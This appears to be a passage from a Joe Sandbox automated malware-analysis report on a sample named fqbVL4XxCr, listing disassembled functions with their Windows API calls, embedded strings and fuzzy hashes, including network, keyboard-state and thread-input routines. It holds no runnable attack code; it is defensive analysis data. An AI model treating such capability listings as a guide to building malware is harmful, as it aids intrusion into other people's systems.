                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: State$Async$Keyboard
                                                • String ID:
                                                • API String ID: 541375521-0
                                                • Opcode ID: 6724dd48c952c76fa327e29c7a5875ee1b74d212fa872973b31d9510baa56ed7
                                                • Instruction ID: 6f3b41e77709a13ede64feb390ce33ebc3730afa9faee0db2802f29b53a073e7
                                                • Opcode Fuzzy Hash: 6724dd48c952c76fa327e29c7a5875ee1b74d212fa872973b31d9510baa56ed7
                                                • Instruction Fuzzy Hash: C841E7305247CF69FF319E6488043B5FEA06B16384F14807FCBC6565C2D7A499E8C7A2
                                                Function 0031055B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • WSAStartup.WSOCK32(00000101,?), ref: 003105BC
                                                • inet_addr.WSOCK32(?), ref: 0031061C
                                                • gethostbyname.WSOCK32(?), ref: 00310628
                                                • IcmpCreateFile.IPHLPAPI ref: 00310636
                                                • IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 003106C6
                                                • IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 003106E5
                                                • IcmpCloseHandle.IPHLPAPI(?), ref: 003107B9
                                                • WSACleanup.WSOCK32 ref: 003107BF
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
                                                • String ID: Ping
                                                • API String ID: 1028309954-2246546115
                                                • Opcode ID: 8d4d26f3d308ad600bf3cfaf0ebd4a089d5bd106529fe0411e5b2b01fb92d77f
                                                • Instruction ID: d7baf073198ce81da555c7def1d0969091034b69efe3b36ef7396d65d61aa327
                                                • Opcode Fuzzy Hash: 8d4d26f3d308ad600bf3cfaf0ebd4a089d5bd106529fe0411e5b2b01fb92d77f
                                                • Instruction Fuzzy Hash: 9F919E356082019FD72ADF15C489F5ABBE4EF48318F1585A9F4698B6A2C770ECC1CF81
                                                Function 00318CD3 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _wcslen$BuffCharLower
                                                • String ID: cdecl$none$stdcall$winapi
                                                • API String ID: 707087890-567219261
                                                • Opcode ID: a6362487994ca54a1c8f7af7c97a7d05f01016b324b029d2868f2651f40d96d6
                                                • Instruction ID: c30565807fa7f704fd9c102ceac2860e2b2ea25a128c7b0c7faaa6f9187e7476
                                                • Opcode Fuzzy Hash: a6362487994ca54a1c8f7af7c97a7d05f01016b324b029d2868f2651f40d96d6
                                                • Instruction Fuzzy Hash: DA51B431A001169BCF19DF6CC9508FEB7A5BF69364B214229E826E72C4DB30DD80CBA4
                                                Function 0031372C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CoInitialize.OLE32 ref: 00313774
                                                • CoUninitialize.OLE32 ref: 0031377F
                                                • CoCreateInstance.OLE32(?,00000000,00000017,0032FB78,?), ref: 003137D9
                                                • IIDFromString.OLE32(?,?), ref: 0031384C
                                                • VariantInit.OLEAUT32(?), ref: 003138E4
                                                • VariantClear.OLEAUT32(?), ref: 00313936
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
                                                • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                                • API String ID: 636576611-1287834457
                                                • Opcode ID: b7aeb238fda6f8f1b15d04d766fafe6d57806912b31b2b4d97c26fef314d5156
                                                • Instruction ID: 06a3a2b5d7354ea0696712121041c005eb817ba59b43c468ea9dc1ad22ba3d5f
                                                • Opcode Fuzzy Hash: b7aeb238fda6f8f1b15d04d766fafe6d57806912b31b2b4d97c26fef314d5156
                                                • Instruction Fuzzy Hash: 6361C071608301AFD716DF54C888FAABBE8EF49710F10481DF9859B291C770EE88CB92
                                                Function 00328B02 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 149windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002A9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 002A9BB2
                                                  • Part of subcall function 002A912D: GetCursorPos.USER32(?), ref: 002A9141
                                                  • Part of subcall function 002A912D: ScreenToClient.USER32(00000000,?), ref: 002A915E
                                                  • Part of subcall function 002A912D: GetAsyncKeyState.USER32(00000001), ref: 002A9183
                                                  • Part of subcall function 002A912D: GetAsyncKeyState.USER32(00000002), ref: 002A919D
                                                • ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?,?,?), ref: 00328B6B
                                                • ImageList_EndDrag.COMCTL32 ref: 00328B71
                                                • ReleaseCapture.USER32 ref: 00328B77
                                                • SetWindowTextW.USER32(?,00000000), ref: 00328C12
                                                • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00328C25
                                                • DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?,?,?), ref: 00328CFF
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
                                                • String ID: @GUI_DRAGFILE$@GUI_DROPID$p#6
                                                • API String ID: 1924731296-3007166900
                                                • Opcode ID: 0dc9b030cfc587435b709a0dfff9db1b25d3169146a17e9b6a36913bb3ef8d7e
                                                • Instruction ID: 375b1ef58c5a9d3535a8d2326af48ca1a06eb110e09652f9f0344594f58a5d64
                                                • Opcode Fuzzy Hash: 0dc9b030cfc587435b709a0dfff9db1b25d3169146a17e9b6a36913bb3ef8d7e
                                                • Instruction Fuzzy Hash: EC519A70115310AFEB12DF24DC56FAAB7E8FB88710F00062DF956972A1CB709954CBA2
                                                Function 00303388 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadStringW.USER32(00000066,?,00000FFF,?), ref: 003033CF
                                                  • Part of subcall function 00299CB3: _wcslen.LIBCMT ref: 00299CBD
                                                • LoadStringW.USER32(00000072,?,00000FFF,?), ref: 003033F0
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: LoadString$_wcslen
                                                • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
                                                • API String ID: 4099089115-3080491070
                                                • Opcode ID: 144171a7d483b7e75b6aee92560889b5205f18e9933c562183c7df2254ba9b11
                                                • Instruction ID: 103bd105a7214fc847bd9a935a0862e2b30fb1c366e7335e460b527bb9658c80
                                                • Opcode Fuzzy Hash: 144171a7d483b7e75b6aee92560889b5205f18e9933c562183c7df2254ba9b11
                                                • Instruction Fuzzy Hash: 7451B271810209AADF16EBE4CD56EEEB37CAF14340F144165F505721A2EB712FA8DF60
                                                Function 002FB5C8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 142COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _wcslen$BuffCharUpper
                                                • String ID: APPEND$EXISTS$KEYS$REMOVE
                                                • API String ID: 1256254125-769500911
                                                • Opcode ID: ac779a4d6919f974c60250f96c6999823b7fe8f2dc22825218a32b10431179a5
                                                • Instruction ID: 49e3d22457c2104f32116fd4f6dfbf631f8fab4ffc6ef38af347db69a627f28b
                                                • Opcode Fuzzy Hash: ac779a4d6919f974c60250f96c6999823b7fe8f2dc22825218a32b10431179a5
                                                • Instruction Fuzzy Hash: 7241C732A2012B9ACB116F7DCC915BEF7A9AF647D4B244139E621D7284F731CD91C790
                                                Function 00305393 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetErrorMode.KERNEL32(00000001), ref: 003053A0
                                                • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00305416
                                                • GetLastError.KERNEL32 ref: 00305420
                                                • SetErrorMode.KERNEL32(00000000,READY), ref: 003054A7
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Error$Mode$DiskFreeLastSpace
                                                • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                • API String ID: 4194297153-14809454
                                                • Opcode ID: aca67840b6d0dfed2000bcca5b944f13d46dba395ffc5da77801419579c58a06
                                                • Instruction ID: 7d212ff7db8d7e3eaa9ba5614a62661eb900495f4d1618724dd14b600186fa6f
                                                • Opcode Fuzzy Hash: aca67840b6d0dfed2000bcca5b944f13d46dba395ffc5da77801419579c58a06
                                                • Instruction Fuzzy Hash: 3131B235A016059FCB12DF69C495EEABBB8FF04305F558069E805CB2A2DB70DD86CF91
                                                Function 00323A23 Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00323A9D
                                                • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00323AA0
                                                • GetWindowLongW.USER32(?,000000F0), ref: 00323AC7
                                                • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00323AEA
                                                • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00323B62
                                                • SendMessageW.USER32(?,00001074,00000000,00000007), ref: 00323BAC
                                                • SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00323BC7
                                                • SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00323BE2
                                                • SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00323BF6
                                                • SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00323C13
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessageSend$LongWindow
                                                • String ID:
                                                • API String ID: 312131281-0
                                                • Opcode ID: 1446a0c233bcba68facb6333cbabb96a3c4dc563c1b4187020705a2c5b202510
                                                • Instruction ID: 034c3b7cf32411f0a860de2f2db6f9dc317fb189a6c4178ce542fb077716f058
                                                • Opcode Fuzzy Hash: 1446a0c233bcba68facb6333cbabb96a3c4dc563c1b4187020705a2c5b202510
                                                • Instruction Fuzzy Hash: 14616975900218AFDB12DFA8DC81EEEB7F8EB09700F144199FA15AB2A1C774AE45DF50
                                                Function 002FB12F Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCurrentThreadId.KERNEL32 ref: 002FB151
                                                • GetForegroundWindow.USER32(00000000,?,?,?,?,?,002FA1E1,?,00000001), ref: 002FB165
                                                • GetWindowThreadProcessId.USER32(00000000), ref: 002FB16C
                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,002FA1E1,?,00000001), ref: 002FB17B
                                                • GetWindowThreadProcessId.USER32(?,00000000), ref: 002FB18D
                                                • AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,002FA1E1,?,00000001), ref: 002FB1A6
                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,002FA1E1,?,00000001), ref: 002FB1B8
                                                • AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,002FA1E1,?,00000001), ref: 002FB1FD
                                                • AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,002FA1E1,?,00000001), ref: 002FB212
                                                • AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,002FA1E1,?,00000001), ref: 002FB21D
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                • String ID:
                                                • API String ID: 2156557900-0
                                                • Opcode ID: 7b96a9888fcf7a9f365494850437df28357828121ae13ed2bb0a3b701af310ef
                                                • Instruction ID: d690d99fe1040d9802cacb9a92b79efce4521b659fda21ffd30a7da75a2a019f
                                                • Opcode Fuzzy Hash: 7b96a9888fcf7a9f365494850437df28357828121ae13ed2bb0a3b701af310ef
                                                • Instruction Fuzzy Hash: 5331CE71520209BFEB239F24DC48BBEBBADFB51391F148028FA06D6190D7B49A158F60
                                                Function 002C2C80 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                                Download Yara Rule
                                                APIs
                                                • _free.LIBCMT ref: 002C2C94
                                                  • Part of subcall function 002C29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,002CD7D1,00000000,00000000,00000000,00000000,?,002CD7F8,00000000,00000007,00000000,?,002CDBF5,00000000), ref: 002C29DE
                                                  • Part of subcall function 002C29C8: GetLastError.KERNEL32(00000000,?,002CD7D1,00000000,00000000,00000000,00000000,?,002CD7F8,00000000,00000007,00000000,?,002CDBF5,00000000,00000000), ref: 002C29F0
                                                • _free.LIBCMT ref: 002C2CA0
                                                • _free.LIBCMT ref: 002C2CAB
                                                • _free.LIBCMT ref: 002C2CB6
                                                • _free.LIBCMT ref: 002C2CC1
                                                • _free.LIBCMT ref: 002C2CCC
                                                • _free.LIBCMT ref: 002C2CD7
                                                • _free.LIBCMT ref: 002C2CE2
                                                • _free.LIBCMT ref: 002C2CED
                                                • _free.LIBCMT ref: 002C2CFB
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _free$ErrorFreeHeapLast
                                                • String ID:
                                                • API String ID: 776569668-0
                                                • Opcode ID: ac78bea23ecee6d7ddc2c65aec6967a8d2397208baad799f3a30832e283d941e
                                                • Instruction ID: 8a83e8b13b719f9f5380b5219aefa2d2fda8bb438c5bf74cad9c1056319762be
                                                • Opcode Fuzzy Hash: ac78bea23ecee6d7ddc2c65aec6967a8d2397208baad799f3a30832e283d941e
                                                • Instruction Fuzzy Hash: 8411A776120508EFCB02EF54D882EDD3BA5FF05350F5156A9F9485F222DA31EE649F90
                                                Function 00291410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332comCOMMON
                                                Download Yara Rule
                                                APIs
                                                • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00291459
                                                • OleUninitialize.OLE32(?,00000000), ref: 002914F8
                                                • UnregisterHotKey.USER32(?), ref: 002916DD
                                                • DestroyWindow.USER32(?), ref: 002D24B9
                                                • FreeLibrary.KERNEL32(?), ref: 002D251E
                                                • VirtualFree.KERNEL32(?,00000000,00008000), ref: 002D254B
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
                                                • String ID: close all
                                                • API String ID: 469580280-3243417748
                                                • Opcode ID: f6f5c6937b2c6bd523105ff4b7b74d7102418377847dcb241edde45d80a3007e
                                                • Instruction ID: 794f1174faf2bf486a670b693fc2552cf9d2b9d3954b6f0da7d76d47e4efc891
                                                • Opcode Fuzzy Hash: f6f5c6937b2c6bd523105ff4b7b74d7102418377847dcb241edde45d80a3007e
                                                • Instruction Fuzzy Hash: E7D17931621213CFCB29EF15D595A29F7A8BF15700F5442AEE44A6B351CB30AC36CF90
                                                Function 00295BEA Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SetWindowLongW.USER32(?,000000EB), ref: 00295C7A
                                                  • Part of subcall function 00295D0A: GetClientRect.USER32(?,?), ref: 00295D30
                                                  • Part of subcall function 00295D0A: GetWindowRect.USER32(?,?), ref: 00295D71
                                                  • Part of subcall function 00295D0A: ScreenToClient.USER32(?,?), ref: 00295D99
                                                • GetDC.USER32 ref: 002D46F5
                                                • SendMessageW.USER32(?,00000031,00000000,00000000), ref: 002D4708
                                                • SelectObject.GDI32(00000000,00000000), ref: 002D4716
                                                • SelectObject.GDI32(00000000,00000000), ref: 002D472B
                                                • ReleaseDC.USER32(?,00000000), ref: 002D4733
                                                • MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 002D47C4
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
                                                • String ID: U
                                                • API String ID: 4009187628-3372436214
                                                • Opcode ID: 3163570e1b0bda3c391aaac2f6df208dc84903ec6e323f43deff3a739f2ce268
                                                • Instruction ID: a9dfd301333249737ba9866cf59a6f4481a8680db2c3d5cb5cf28bfb4cdcaab7
                                                • Opcode Fuzzy Hash: 3163570e1b0bda3c391aaac2f6df208dc84903ec6e323f43deff3a739f2ce268
                                                • Instruction Fuzzy Hash: 4471F430520206DFDF229F64C984ABA7BB5FF4A350F18426BED565A2A6C330CC61DF50
                                                Function 0030359C Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 150COMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 003035E4
                                                  • Part of subcall function 00299CB3: _wcslen.LIBCMT ref: 00299CBD
                                                • LoadStringW.USER32(00362390,?,00000FFF,?), ref: 0030360A
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: LoadString$_wcslen
                                                • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                • API String ID: 4099089115-2391861430
                                                • Opcode ID: c80e2228aeb8ba20ffe644b2cd165834bbf44461f30bc8a406b834a34a5abc8e
                                                • Instruction ID: a826f31dbc101a8f251c1a1b6199d86eb60d9e8d08ed490b3cbe93e40e916b35
                                                • Opcode Fuzzy Hash: c80e2228aeb8ba20ffe644b2cd165834bbf44461f30bc8a406b834a34a5abc8e
                                                • Instruction Fuzzy Hash: 8751AD72810209BBDF16EBA0CC52EEEBB78EF14750F144169F505721A1EB711AE9DFA0
                                                Function 0030C253 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0030C272
                                                • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0030C29A
                                                • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0030C2CA
                                                • GetLastError.KERNEL32 ref: 0030C322
                                                • SetEvent.KERNEL32(?), ref: 0030C336
                                                • InternetCloseHandle.WININET(00000000), ref: 0030C341
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
